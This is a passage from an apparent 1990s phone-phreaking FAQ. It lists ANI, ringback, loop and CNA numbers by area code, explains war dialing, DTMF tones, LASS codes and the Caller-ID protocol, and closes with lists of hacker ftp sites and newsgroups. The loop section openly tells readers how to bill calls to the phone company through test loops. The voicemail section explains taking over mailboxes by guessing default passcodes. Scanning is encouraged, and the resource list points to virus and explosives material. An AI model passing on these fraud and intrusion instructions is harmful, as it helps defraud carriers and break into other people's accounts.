Alton/Cairo/Mt.Vernon, IL 618 930 Alton/Cairo/Mt.Vernon, IL 619 211-2001 San Diego, CA 703 811 Alexandria/Arlington/Roanoke, VA N 704 311 Asheville/Charlotte, NC 708 1-200-555-1212 Chicago/Elgin, IL 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) N 708 200-6153 Chicago/Elgin, IL N 708 724-9951 Chicago/Elgin, IL N 708 356-9646 Chicago/Elgin, IL N 713 380 Houston, TX 713 970-xxxx Houston, TX N 713 811 Humble, TX 714 114 Anaheim, CA (GTE) 714 211-2121 Anaheim, CA (PacBell) 714 211-2222 Anaheim, CA (Pacbell) 716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) N 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY 802 2-222-222-2222 Vermont 802 200-222-2222 Vermont 802 1-700-222-2222 Vermont 802 111-2222 Vermont N 805 114 Bakersfield/Santa Barbara, CA 805 211-2345 Bakersfield/Santa Barbara, CA 805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF) 805 830 Bakersfield/Santa Barbara, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Flint/Pontiac/Southfield/Troy, MI 812 410-555-1212 Evansville, IN 813 311 Ft. Meyers/St. Petersburg/Tampa, FL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell) 818 1223 Pasadena, CA (Some 1AESS switches) 818 211-2345 Pasadena, CA (English response) 818 211-2346 Pasadena, CA (DTMF response) N 903 970-611-1111 Denison, TX 906 1-200-222-2222 Marquette/Sault Ste. Marie, MI 908 958 New Brunswick, NJ 910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX N 916 211-2222 Sacramento, CA (Pac Bell) N 916 461 Sacramento, CA (Roseville Telepohone) 919 200 Durham, NC 919 711 Durham, NC Canada: 204 644-xxxx Manitoba 306 115 Saskatchewan, Canada 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 416 997-xxxx Toronto, Ontario N 506 1-555-1313 New Brunswick 514 320-xxxx Montreal, Quebec 519 320-xxxx London, Ontario 604 1116 British Columbia, Canada 604 1211 British Columbia, Canada 604 211 British Columbia, Canada 613 320-2232 Ottawa, Ontario 705 320-4567 North Bay/Saulte Ste. Marie, Ontario Australia: +61 03-552-4111 Victoria 03 area +612 19123 All major capital cities United Kingdom: 175 12. What is a ringback number? A ringback number is a number that you call that will immediately ring the telephone from which it was called. In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. 13. What is the ringback number for my area? An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations. If the ringback for your NPA is not listed, try common ones such as 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company. NPA Ringback number Geographic area --- --------------- --------------------------------------------- 201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ 202 958-xxxx District of Columbia U 203 99?-xxxx CT N 208 99xxx-xxxx ID 213 1-95x-xxxx Los Angeles, CA N 216 551-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH 219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 301 579-xxxx Hagerstown/Rockville, MD 301 958-xxxx Hagerstown/Rockville, MD 303 99X-xxxx Grand Junction, CO 304 998-xxxx WV 305 999-xxxx Ft. Lauderdale/Key West/Miami, FL 312 511-xxxx Chicago, IL 312 511-xxx-xxxx Chicago, IL 312 57?-xxxx Chicago, IL 315 98x-xxxx Syracuse/Utica, NY 317 777-xxxx Indianapolis/Kokomo, IN 317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number) 319 79x-xxxx Davenport/Dubuque, Iowa 401 98?-xxxx RI 404 450-xxxx Atlanta, GA 407 988-xxxx Orlando/West Palm Beach, FL 412 985-xxxx Pittsburgh, PA 414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 350-xxxx San Francisco, CA 417 551-xxxx Joplin/Springfield, MO N 501 221-xxx-xxxx AR 501 721-xxx-xxxx AR 502 988 Frankfort/Louisville/Paducah/Shelbyville, KY N 503 541-XXXX OR 504 99x-xxxx Baton Rouge/New Orleans, LA 504 9988776655 Baton Rouge/New Orleans, LA 505 59?-xxxx New Mexico 512 95X-xxxx Austin, TX 513 99?-xxxx Cincinnati/Dayton, OH N 513 955-xxxx Cincinnati/Dayton, OH 516 660-xxx-xxxx Hempstead/Long Island, NY 601 777-xxxx MS 609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ 612 511 Minneapolis/St.Paul, MN 612 999-xxx-xxxx Minneapolis/St.Paul, MN N 614 998-xxxx Columbus/Steubenville, OH 615 930-xxxx Chatanooga/Knoxville/Nashville, TN 616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI 619 331-xxxx San Diego, CA 619 332-xxxx San Diego, CA 703 958-xxxx Alexandria/Arlington/Roanoke, VA N 708 511-xxxx Chicago/Elgin, IL 714 330? Anaheim, CA (GTE) 714 33?-xxxx Anaheim, CA (PacBell) 716 981-xxxx Rochester, NY (Rochester Tel) N 718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO 801 938-xxxx Utah 801 939-xxxx Utah N 802 987-xxxx Vermont 804 260 Charlottesville/Newport News/Norfolk/Richmond, VA 805 114 Bakersfield/Santa Barbara, CA 805 980-xxxx Bakersfield/Santa Barbara, CA 810 951-xxx-xxxx Pontiac/Southfield/Troy, MI 813 711 Ft. Meyers/St. Petersburg/Tampa, FL U 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#) 906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI 908 55?-xxxx New Brunswick, NJ 908 953 New Brunswick, NJ N 913 951-xxxx Lawrence/Salina/Topeka, KS 914 660-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY Canada: 416 57x-xxxx Toronto, Ontario 416 99x-xxxx Toronto, Ontario 416 999-xxx-xxxx Toronto, Ontario N 506 572+xxx-xxxx New Brunswick 514 320-xxx-xxxx Montreal, Quebec 613 999-xxx-xxxx Ottawa, Ontario 705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario Australia: +61 199 U Brazil: 109 or 199 New Zealand: 137 Sweden: 0058 United Kingdom: 174 or 1744 or 175 or 0500-89-0011 14. What is a loop? This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number. 15. What is a loop in my area? Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research. NPA High Low --- -------- -------- 201 879-9929 879-9930 201 347-9929 347-9930 206 827-0018 827-0019 206 988-0020 988-0022 208 862-9996 862-9997 209 732-0044 732-0045 201 666-9929 666-9930 N 210 993-9929 993-9930 N 210 330-9929 330-9930 N 210 333-9929 333-9930 N 210 376-9929 376-9930 N 210 467-9929 467-9930 212 220-9977 220-9979 212 283-9977 283-9979 212 283-9977 283-9997 212 352-9900 352-9906 212 365-9977 365-9979 212 529-9900 529-9906 212 562-9977 562-9979 212 986-9977 986-9979 213 360-1118 360-1119 213 365-1118 365-1119 213 455-0002 455-XXXX 213 455-0002 455-xxxx 213 546-0002 546-XXXX 213 546-0002 546-xxxx 213 549-1118 549-1119 214 291-4759 291-4757 214 299-4759 299-4757 305 778-9952 778-9951 305 964-9951 964-9952 307 468-9999 468-9998 308 357-0004 357-0005 N 310 365-1118 365-1119 N 310 445-0002 445-???? N 310 455-0002 455-???? N 310 545-0002 545-???? N 310 546-0002 546-???? N 312 262-9902 262-9903 313 224-9996 224-9997 313 225-9996 225-9997 313 234-9996 234-9997 313 237-9996 237-9997 313 256-9996 256-9997 313 272-9996 272-9997 313 273-9996 273-9997 313 277-9996 277-9997 313 281-9996 281-9997 313 292-9996 292-9997 313 299-9996 299-9997 313 321-9996 321-9997 313 326-9996 326-9997 313 356-9996 356-9997 313 362-9996 362-9997 313 369-9996 369-9997 313 388-9996 388-9997 313 397-9996 397-9997 313 399-9996 399-9997 313 445-9996 445-9997 313 465-9996 465-9997 313 471-9996 471-9997 313 474-9996 474-9997 313 477-9996 477-9997 313 478-9996 478-9997 313 483-9996 483-9997 313 497-9996 497-9997 313 526-9996 526-9997 313 552-9996 552-9997 313 556-9996 556-9997 313 561-9996 561-9997 313 569-9996 569-9996 313 575-9996 575-9997 313 577-9996 577-9997 313 585-9996 585-9997 313 591-9996 591-9997 313 621-9996 621-9997 313 626-9996 626-9997 313 644-9996 644-9997 313 646-9996 646-9997 313 647-9996 647-9997 313 649-9996 649-9997 313 663-9996 663-9997 313 665-9996 665-9997 313 683-9996 683-9997 313 721-9996 721-9997 313 722-9996 722-9997 313 728-9996 728-9997 313 731-9996 731-9997 313 751-9996 751-9997 313 776-9996 776-9997 313 781-9996 781-9997 313 787-9996 787-9997 313 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 315 673-9995 673-9996 315 695-9995 695-9996 402 422-0001 422-0002 402 422-0003 422-0004 402 422-0005 422-0006 402 422-0007 422-0008 402 572-0003 572-0004 402 779-0004 779-0007 406 225-9902 225-9903 517 422-9996 422-9997 517 423-9996 423-9997 517 455-9996 455-9997 517 563-9996 563-9997 517 663-9996 663-9997 517 851-9996 851-9997 609 921-9929 921-9930 609 994-9929 994-9930 616 997-9996 997-9997 N 708 724-9951 724-???? 713 224-1499 759-1799 713 324-1499 324-1799 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 489-1499 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 808 235-9907 235-9908 808 239-9907 239-9908 808 245-9907 245-9908 808 247-9907 247-9908 808 261-9907 261-9908 808 322-9907 322-9908 808 328-9907 328-9908 808 329-9907 329-9908 808 332-9907 332-9908 808 335-9907 335-9908 808 572-9907 572-9908 808 623-9907 623-9908 808 624-9907 624-9908 808 668-9907 668-9908 808 742-9907 742-9908 808 879-9907 879-9908 808 882-9907 882-9908 808 885-9907 885-9908 808 959-9907 959-9908 808 961-9907 961-9908 810 362-9996 362-9997 813 385-9971 385-xxxx N 908 558-9929 558-9930 N 908 560-9929 560-9930 16. What is a CNA number? CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find its phone number and then call the CNA operator to see who owns it and where they live. Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Two such companies are: Unidirectory (900)933-3330 Telename (900)884-1212 Note that these are 900 numbers, and will cost you approximately one dollar per minute. If you are in 312 or 708, AmeriTech has a pay-for-play CNA service available to the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers per call. If you are in 415, Pacific Bell offers a public access CNA service at (415)781-5271. 17. What is the telephone company CNA number for my area? 203 (203)771-8080 CT 513 (513)397-9110 Cincinnati/Dayton, OH 516 (516)321-5700 Hempstead/Long Island, NY N 518 (518)471-8111 Albany/Schenectady/Troy, NY 614 (614)464-0123 Columbus/Steubenville, OH 813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL 18. What are some numbers that always ring busy? 216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH N 303 431-0000 Denver, CO N 303 866-8660 Denver, CO 316 952-7265 Dodge City/Wichita, KS 501 377-99xx AR 719 472-3773 Colorado Springs/Leadville/Pueblo, CO 805 255-0699 Bakersfield/Santa Barbara, CA 818 885-0699 Pasadena, CA 906 632-9999 Marquette/Sault Ste. Marie, MI 906 635-9999 Marquette/Sault Ste. Marie, MI 914 576-9903 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 19. What are some numbers that temporarily disconnect phone service? 314 511 Columbia/Jefferson City/St.Louis, MO (1 minute) 404 420 Atlanta, GA (5 minutes) 405 953 Enid/Oklahoma City, OK (1 minute) 407 511 Orlando/West Palm Beach, FL (1 minute) 512 200 Austin/Corpus Christi, TX (1 minute) 516 480 Hempstead/Long Island, NY (1 minute) 603 980 NH N 614 xxx-9894 Columbus/Steubenville, OH N 805 119 Bakersfield/Santa Barbara, CA (3 minutes) 919 211 or 511 Durham, NC (10 min - 1 hour) 20. What is scanning? Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones. Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time. Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/. A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones. 21. Is scanning illegal? Excerpt from: 2600, Spring 1990, Page 27: -BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ- It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate. 22. Where can I purchase a lineman's handset? Contact East 335 Willow Street North Andover, MA 01845-5995 (508)682-2000 Jensen Tools 7815 S. 46th Street Phoenix, AZ 85044-5399 Time Motion Tools 12778 Brookprinter Place Poway, CA 92064 (619)679-0303 23. What are the DTMF frequencies? DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touchpad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones. 1209 1336 1477 1633 697 1 2 3 A 770 4 5 6 B 852 7 8 9 C 941 * 0 # D 24. What are the frequencies of the telephone tones? Type Hz On Off --------------------------------------------------------------------- Dial Tone 350 & 400 --- --- Busy Signal 480 & 620 0.5 0.5 Toll Congestion 480 & 620 0.2 0.3 Ringback (Normal) 440 & 480 2.0 4.0 Ringback (PBX) 440 & 480 1.5 4.5 Reorder (Local) 480 & 620 3.0 2.0 Invalid Number 200 & 400 Hang Up Warning 1400 & 2060 0.1 0.1 Hang Up 2450 & 2600 --- --- 25. What are all of the * (LASS) codes? Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes: (These appear to be standard, but may be changed locally) Service Tone Pulse/rotary Notes -------------------------------------------------------------------------- Assistance/Police *12 n/a [1] Cancel forwarding *30 n/a [C1] Automatic Forwarding *31 n/a [C1] Notify *32 n/a [C1] [2] Intercom Ring 1 (..) *51 1151 [3] Intercom Ring 2 (.._) *52 1152 [3] Intercom Ring 3 (._.) *53 1153 [3] Extension Hold *54 1154 [3] Customer Originated Trace *57 1157 Selective Call Rejection *60 1160 (or Call Screen) Selective Distinct Alert *61 1161 Selective Call Acceptance *62 1162 Selective Call Forwarding *63 1163 ICLID Activation *65 1165 Call Return (outgoing) *66 1166 Number Display Blocking *67 1167 [4] Computer Access Restriction *68 1168 Call Return (incoming) *69 1169 Call Waiting disable *70 1170 [4] No Answer Call Transfer *71 1171 Usage Sensitive 3 way call *71 1171 Call Forwarding: start *72 or 72# 1172 Call Forwarding: cancel *73 or 73# 1173 Speed Calling (8 numbers) *74 or 74# 1174 Speed Calling (30 numbers) *75 or 75# 1175 Anonymous Call Rejection *77 1177 [5] [M: *58] Call Screen Disable *80 1160 (or Call Screen) [M: *50] Selective Distinct Disable *81 1161 [M: *51] Select. Acceptance Disable *82 1162 Select. Forwarding Disable *83 1163 [M: *53] ICLID Disable *85 1165 Call Return (cancel out) *86 1186 [6] [M: *56] Anon. Call Reject (cancel) *87 1187 [5] [M: *68] Call Return (cancel in) *89 1189 [6] [M: *59] Notes: [C1] - Means code used for Cellular One service [1] - for cellular in Pittsburgh, PA A/C 412 in some areas [2] - indicates that you are not local and maybe how to reach you [3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up [4] - applied once before each call [5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance) [6] - cancels further return attempts [M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups. The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x 26. What frequencies do cordless phones operate on? Here are the frequencies for the first generation 46/49mhz phones. The new 900mhz cordless phones are not covered. Channel Handset Transmit Base Transmit ------- ---------------- ------------- 1 49.670mhz 46.610mhz 2 49.845 46.630 3 49.860 46.670 4 49.770 46.710 5 49.875 46.730 6 49.830 46.770 7 49.890 46.830 8 49.930 46.870 9 49.990 46.930 10 49.970 46.970 27. What is Caller-ID? This FAQ answer is stolen from Rockewell: Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle. Parameters ~~~~~~~~~~ The data signalling interface has the following characteristics: Link Type: 2-wire, simplex Transmission Scheme: Analog, phase-coherent FSK Logical 1 (mark) 1200 +/- 12 Hz Logical 0 (space) 2200 +/- 22 Hz Transmission Rate: 1200 bps Transmission Level: 13.5 +/- dBm into 900 ohm load Protocol ~~~~~~~~ The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below. | Channel | Carrier | Message | Message | Data | Checksum | | Seizure | Signal | Type | Length | Word(s) | Word | | Signal | | Word | Word | | | Channel Siezure Signal ~~~~~~~~~~~~~~~~~~~~~~ The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump). Carrier Signal ~~~~~~~~~~~~~~ The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data. Message Type Word ~~~~~~~~~~~~~~~~~ The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100). Message Length Word ~~~~~~~~~~~~~~~~~~~ The message length word specifies the total number of data words to follow. Data Words ~~~~~~~~~~ The data words are encoded in ASCII and represent the following information: o The first two words represent the month o The next two words represent the day of the month o The next two words represent the hour in local military time o The next two words represent the minute after the hour o The calling party's directory number is represented by the remaining words in the data word field If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P". Checksum Word ~~~~~~~~~~~~~ The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the reveived checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported. Example CNS Single Data Message ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ An example of a received CND message, beginning with the message type word, follows: 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words) ASCII 30,39= 09; September ASCII 33,30= 30; 30th day ASCII 31,32= 12; 12:00 PM ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling party's directory number 51h= Checksum Word Data Access Arrangement (DAA) Requirements ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task. Modem Requirements ~~~~~~~~~~~~~~~~~~ Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information. Signalling ~~~~~~~~~~ According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst Applications ~~~~~~~~~~~~ Once CND information is received the user may process the information in a number of ways. 1. The date, time, and calling party's directory number can be displayed. 2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed. 3. CND information can also be used in additional ways such as for: a. Bulletin board applications b. Black-listing applications c. Keeping logs of system user calls, or d. Implementing a telemarketing data base References ~~~~~~~~~~ For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031. To obtain Bellcore documents contact: Bellcore Customer Service 60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196 (908) 699-5800 28. What is a PBX? A PBX is a Private Branch Exchange. A PBX is a small telephone switch owned by a company or organization. Let's say your company has a thousand employees. Without a PBX, you would need a thousand phone lines. However, only 10% of your employees are talking on the phone at one time. What if you had a computer that automatically found an outside line every time one of your employees picked up the telephone. With this type of system, you could get by with only paying for one hundred phone lines. This is a PBX. 29. What is a VMB? A VMB is a Voice Mail Box. A VMB is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code. Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234. Section C: Resources ~~~~~~~~~~~~~~~~~~~~ 01. What are some ftp sites of interest to hackers? N 198.69.103.23 (Mac) N aeneas.mit.edu alex.sp.cs.cmu.edu /links/security (Misc) N alife.santafe.edu aql.gatech.edu /pub (40Hex) N asylum.sf.ca.us athena-dist.mit.edu /pub/ATHENA (Athena Project) N atlantis.utmb.edu bellcore.com (Bellcore) camelot.usc.edu /pub/cellular/DDIinfodemo (Cellular) cert.org (CERT) N ciac.llnl.gov coast.cs.purdue.edu /pub (Security/COAST) N csrc.ncsl.nist.gov dartmouth.edu /pub/security (Security) N dg-rtp.dg.com N ds.internic.net N enlow.com freeside.com (Phrack) ftp.3com.com /mirrors/zip (ZipCrypt) ftp.3com.com /Orange-Book (Orange Book) N ftp.acns.nwu.edu N ftp.alantec.com ftp.armory.com /pub/user/kmartind (H/P) N ftp.armory.com /pub/user/swallow N ftp.c3.lanl.gov N ftp.cc.rochester.edu N ftp.cert.dfn.de (FIRST) ftp.cic.net /pub/e-serials/alphabetic/p/phrack (Zines) N ftp.cisco.com ftp.clark.net /pub/jcase (H/P) ftp.cnam.fr ftp.commerce.net /pubs/standards/drafts/shttp.txt(Secure HyperText) N ftp.cs.colorado.edu N ftp.cs.ruu.nl ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest) N ftp.cs.vu.nl N ftp.cs.yale.edu ftp.csl.sri.com /pub/nides (SRI) ftp.csua.berkeley.edu /pub/cypherpunks (Crypto) N ftp.cyberspace.com /pub/archive/defcon (PhoneTag) N ftp.delmarva.com N ftp.dsi.unimi.it N ftp.ee.lbl.gov U ftp.eff.org /pub/Publications/CuD (EFF) ftp.elelab.nsc.co.jp /pub/security (Security) ftp.etext.org (Etext) U ftp.fc.net /pub/defcon (DefCon) N ftp.fc.net /pub/defcon/BBEEP (BlueBeep) N ftp.fh-berlin.de N ftp.foobar.com N ftp.funet.fi ftp.gate.net /pub/users/laura ftp.gate.net /pub/users/wakko ftp.greatcircle.com /pub/firewalls (Firewalls) ftp.halcyon.com /pub/cud (Zines) ftp.IEunet.ie /pub/security (Security) N ftp.ifi.uio.no N ftp.info.fundp.ac.be N ftp.informatik.uni-hamburg.de ftp.inoc.dl.nec.com /pub/security (Security) N ftp.isi.edu U ftp.llnl.gov /pub (CIAC) N ftp.lysator.liu.se N ftp.mcs.com /mcsnet.users/crisadm (Virii) N ftp.microserve.net /ppp-pop/strata/mac (Mac) ftp.near.net /security/archives/phrack (Zines) N ftp.nec.com ftp.netcom.com /pub/br/bradleym (Virii) N ftp.netcom.com /pub/da/daemon9 ftp.netcom.com /pub/va/vandal (DnA) ftp.netcom.com /pub/zz/zzyzx (H/P) N ftp.netsys.com ftp.ocs.mq.edu.au /PC/Crypt (Crypto) ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc) N ftp.pop.psu.edu ftp.primus.com /pub/armchair (Phoney) ftp.primus.com /pub/security (Security) N ftp.psy.uq.oz.au ftp.rahul.net /pub/lps (Home of the FAQ) N ftp.sert.edu.au N ftp.sgi.com ftp.std.com /archives/alt.locksmithing (Locksmithing) ftp.std.com /obi/Mischief/ (MIT Guide to Locks) ftp.std.com /obi/Phracks (Zines) ftp.sunet.se /pub/network/monitoring (Ethernet sniffers) ftp.sura.net /pub/security (SURAnet) N ftp.technet.sg ftp.tis.com /pub (TIS) N ftp.uspto.gov ftp.uu.net /doc/literary/obi/Phracks (Zines) N ftp.uwp.edu (Copy protection) N ftp.vis.colostate.edu N ftp.vix.com N ftp.vortex.com ftp.warwick.ac.uk /pub/cud (Zines) ftp.win.tue.nl /pub/security (Security) ftp.winternet.com /users/craigb (H/P) ftp.wustl.edu /doc/EFF (EFF) furmint.nectar.cs.cmu.edu /security (Crypto) garbo.uwasa.fi /pc/crypt (Crypto) N gumby.dsd.trw.com N hack-this.pc.cc.cmu.edu (Back again!) N hplyot.obspm.fr N info.mcs.anl.gov N jerico.usc.edu lcs.mit.edu /telecom-archives (Telecom archives) lod.amaranth.com (Legion of Doom) N l0pht.com (The L0pht) N mac.archive.umich.edu mary.iia.org /pub/users/patriot (Misc) N monet.ccs.itd.umich.edu net.tamu.edu /pub/security/TAMU (Security) net23.com /pub (Max Headroom) nic.ddn.mil /scc (DDN Security) nic.funet.fi /pub/doc/cud (Zines) N oak.oakland.edu paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics (Pyro) N parcftp.xerox.com pyrite.rutgers.edu /pub/security (Security) relay.cs.toronto.edu /doc/telecom-archives (Telecom) rena.dit.co.jp /pub/security (Security) research.att.com /dist/internet_security (AT&T) ripem.msu.edu /pub/crypt (Ripem) rs1.rrz.uni-koeln.de (Wordlists) rtfm.mit.edu (Etext) rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's) sable.ox.ac.uk (Wordlists) N samadams.princeton.edu scss3.cl.msu.edu /pub/crypt (Crypto) N sierra.stanford.edu spy.org (CSC) suburbia.apana.org.au /pub/unix/security (Security) N sunsolve1.sun.com N tam.cs.ucdavis.edu N technion.ac.il theta.iis.u-tokyo.ac.jp /pub1/security (Security) N thumper.bellcore.com titania.mathematik.uni-ulm.de /pub/security (Security) N toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA) uceng.uc.edu /pub/kerberos.documentation (Kerberos) N ugle.unit.no N vic.cc.purdue.edu N whacked.l0pht.com (Mac + H/P) wimsey.bc.ca /pub/crypto (Crypto) 02. What are some fsp sites of interest to hackers? Third Stone From the Sun 132.241.180.91 6969 03. What are some newsgroups of interest to hackers? alt.2600 Do it 'til it hertz alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994 alt.cellular N alt.cellular-phone-tech N alt.comp.virus alt.cyberpunk High-tech low-life. alt.cyberspace Cyberspace and how it should work. alt.dcom.telecom Discussion of telecommunications technology alt.engr.explosives [no description available] alt.hackers Descriptions of projects currently under development alt.locksmithing You locked your keys in *where*? 